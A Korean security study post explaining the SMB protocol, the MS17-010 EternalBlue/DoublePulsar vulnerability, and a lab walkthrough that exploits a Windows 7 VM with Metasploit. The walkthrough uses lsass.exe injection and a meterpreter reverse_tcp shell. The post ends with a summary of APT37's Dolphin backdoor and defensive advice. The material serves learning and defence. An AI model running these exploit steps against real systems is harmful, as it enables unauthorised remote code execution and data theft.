- 1990년에 도스, 윈도우, NT, OS/2, 유닉스 등 난잡했던 운영체제 간 자원 공유를 쉽게 해줄 목적으로 만들어짐
- 네트워크 상 존재하는 노드들 간에 자원을 공유할 수 있도록 설계된 프로토콜
- 주로 네트워크에 연결된 컴퓨터끼리 파일, 프린터, 포트 또는 기타 메시지를 전달하는데 사용
버전
설명
SMBv1
- MS-DOS부터 Windows 10까지 존재하는 구식 프로토콜 - 보안을 고려하지 않고 만들어져, 윈도우 침투에 자주 악용하는 루트로 이용 - 보안 결함에도 불구하고 호환성 및 구현이 쉬워 NAS나 프린터 제작사들이 계속해서 SMBv1만 지원
SMBv2
- 2006년 제작되어 Windows Vista부터 탑재 - 이전 버전과의 호환성은 전혀 없음 > Windows XP 이하의 운영체제에서는 사용할 수 없음 - 속도와 보안 모두 기존보다 월등 - 일반 사용자는 SMBv2로도 아직까지 충분
SMBv3
- SMBv2에 속도 최적화 및 각종 기능을 추가한 것 - 2012년에 제작되어 Windows 8부터 탑재 - SMBv2와도 통신이 가능 - SQL 데이터 및 가상화 솔루션 간 파일 전송, 서버 클러스터 관리, 분산 전송을 통한 장애조치 등 데이터센터와 같은 서버 간 통신을 위한 것
2. 이터널블루 (EthernalBlue)
- 미 국가안보국(NSA)의 해킹 도구
- SMB 프로토콜의 원격코드 실행 취약점(MS17-010)을 이용
- 섀도우 브로커즈(Shadow Brokers) 해킹 그룹에 의해 유출
※ 더블펄서(DoublePulsar)는 이터널블루 익스플로잇에 의해 설치되며, 이미 감염된 시스템에서 악성코드 삽입 및 실행을 위한 백도어로, 워너크라이 랜섬웨어 공격에서 이터널블루와 함께 사용
3. 취약점
- MS SMB 프로토콜의 메모리 파괴 취약점으로, 인증을 거치지 않은 공격자가 원격에서 명령 실행이 가능
- OS가 SMB 3.1.1 프로토콜의 압축패킷을 처리하는 과정에서 발생하는 오류로 인해 발생하는 취약점
- 공격자는 조작된 패킷을 악용하여 원격에서 인증을 거치지 않은 상태로 원격코드 실행이 가능
- SMB 클라이언트를 공격해 특정한 웹페이지, 압축파일, 공유파일, office 문서 등을 조작하는 방식으로 취약점 트리거 가능
- 해당 취약점을 이용해 워너크라이 랜섬웨어를 유포
영향받는 버전 - Windows 10 - Windows 8.1 - Windows RT 8.1 - Windows 7 - Windows Server 2016 - Windows Server 2012 R2 - Windows server 2008 R2 SP1 SP2
취약점명
CVE 번호
MS 번호
Windows SMB 원격 코드 실행 취약점
CVE-2017-0143
MS17-010
CVE-2017-0144
CVE-2017-0145
CVE-2017-0146
CVE-2017-0147
3.1 실습
희생자 PC - OS : Windows 7 Ultimate x64 - IP : 192.168.56.116
공격자 PC - OS : Kali Linux - IP : 192.168.56.102
- 희생자 PC에 SMB Port가 열려 있는지 확인
- 메타스플로잇 실행
service postgresql start
msfconsole
- ms17_010 모듈 실행 및 옵션 설정
- iso를 변경하면서 시도하였지만, NOT appear vulnerable이 확인
※ 아래부터 보고서를 기준으로 작성
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.56.116
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
- 취약한 서버일 경우 [+]로 정보가 표시
- EternalBlue를 설치하여, 메타스플로잇 프레임워크에 추가
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git
cd Eternalblue-Doublepulsar-Metasploit
cp eternalblue_doublepulsar.rb /usr/share/Metasploit-framework/modules/exploits/windows/smb/
- 이터널블루-더블펄서 모듈 실행
msfconsole
msf6 > use exploit/windows/smb/eternalblue_doublepulsar
msf6 exploit(windows/smb/eternalblue_doublepulsar) > show options
- 익스플로잇 전 대상의 아키텍처와 IP 등 옵션을 설정
옵션
설명
DOUBLEPULSARPATH
더블펄서 경로 지정
ETERNALBLUEPATH
이터널블루 경로 지정
PROCESSINJECT
악성코드가 들어갈 프로세스 지정 x64는 lsass.exe 사용
RHOSTS
공격 대상 IP
RPORT
445 (SMB Port)
TARGETARCHITECTURE
공격 대상 운영체제 버전 (x86, x64)
WINEPATH
/root/.wine/drive_c/
Exploit target
공격 대상 OS 설정
LHOST
로컬 IP 주소
payload
페이로드 생성
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set PROCESSINJECT lsass.exe
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set RHOSTS 192.168.56.116
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set TARGETARCHITECTURE x64
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set target 8
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set LHOST 192.168.56.102
- 익스플로잇 결과 피해 시스템으로부터 공격 시스템으로 세션이 설정
- 피해자 PC 정보 확인, 현재 경로 파일 확인, PC화면 캡쳐 등 악성 동작 수행 가능
※ /root/.wine/drive_c/eternal11.dll 관련 실패 메시지 발생 시 해당 경로에 디렉터리를 생성 ex) mkdir -p /root/.wine/drive_c/
- 북한 추정 해커조직 APT37가 백도어 ‘돌핀(Dolphin)’를 심어 남한을 정찰하고 명령제어(C&C) 서버와의 통신을 위해 구글 드라이브를 악용한 정황이 포착
내용
① ‘Dolphin’ 백도어 - 공격자가 선택한 대상에 대해서만 실행되며, 비교적 단순한 형태의 악성코드를 사용해 초기 공격을 수행한 후 백도어가 구축 - 드라이브 및 이동식 장치의 모니터링, 주요 파일 반출, 키로깅, 스크린샷 촬영, 브라우저에서의 자격 증명 탈취 등 다양한 스파이 기능 - C&C 통신을 위해 클라우드 스토리지 서비스를 악용했는데, 특히 구글 드라이브(Google Drive)를 악용 - 감염된 시스템의 드라이브에서 관심 대상 파일을 검색하고 구글 드라이브를 통해 파일을 반출 - 공격 대상의 구글(Google)과 지메일(Gmail) 계정의 설정을 수정해 보안 수준을 낮추는 능력이 있는데, 이를 통해 공격 조직의 지메일 계정 액세스를 유지
② 스카크러프트(ScarCruft) 조직의 수행으로 추측 (APT37 또는 Reaper 또는 금성121로 알려짐) - 2021년 북한 보도를 주로 하는 한국의 인터넷 신문사를 대상으로 워터링 홀 공격을 수행한 이력 - Internet Explorer 익스플로잇, BLUELIGHT라는 백도어로 이어진 셸코드 등 다양한 구성요소로 이루어짐
③ ‘BLUELIGHT’ 백도어보다 정교한 백도어 ‘Dolphin’이 등장 - BLUELIGHT 대비 기능 강화 및 탐지 회피 기능 존재 - BLUELIGHT : 기본적인 정찰과 평가를 수행 - Dolphin : 선택한 공격 대상에 대해서만 수동으로 구축 모든 고정 드라이브(HDD) 및 비고정 드라이브(USB)를 검색해 디렉토리 목록을 생성 확장명을 기준으로 파일을 반출 Windows Portable Device API를 통해 스마트폰과 같은 휴대용 장치도 검색 가능 브라우저에서 자격 증명을 탈취하고 키로깅 및 스크린샷 촬영도 가능 데이터는 암호화된 ZIP 아카이브 형태로 구글 드라이브에 업로드
비고
- 백도어를 이용한 공격은 우수한 해킹 인력과 다양한 역량, 과거 공격 경험을 활용해 공격 기법을 고도화하고 있는 추세 - 백도어의 신속하고 효과적인 탐지와 대응을 위해서는 인공지능 등을 이용한 탐지 능력 강화, 지속적인 모니터링과 효과적인 공격 정보 공유를 통해 이러한 공격에 대응해야 피해를 최소화 할 수 있음
- APT37은 한국에서 금성121 조직명으로도 알려져 있는데, 주로 대북분야 종사자들(탈북자, 북한 관련 연구원)을 상대로 집중적으로 해킹하는 첩보활동이 포착 - 안드로이드 스마트폰용 악성앱을 카카오톡이나 텔레그램 등의 메신저를 통해 전달해 단말기 정보를 탈취하거나 도청 등을 시도 이력 존재 - 탈북자 모임 사이트나 북한 관련 뉴스 사이트를 대상으로 워터링홀 공격을 수행 - 클라우드 기반 파일 공유 서비스를 명령제어(C2) 서버로 사용
- 돌핀 백도어가 노리는 파일들이 MS Office 문서들 외에 우리나라에서 많이 쓰이는 한쇼, 한셀, hwp 등과 같은 한컴 문서와 아웃룩 메일 등이 포함
- 백도어 감염으로 인한 정보유출을 차단하기 위해 엔드포인트(End Point 보안을 강화해야 할 필요 - 개인이 이러한 공격은 막기 어려워 구글과 공동으로 해당 조직이 사용하는 구글 드라이브와 지메일 계정을 모니터링하고 추적하는 협조 체계 구축이 필요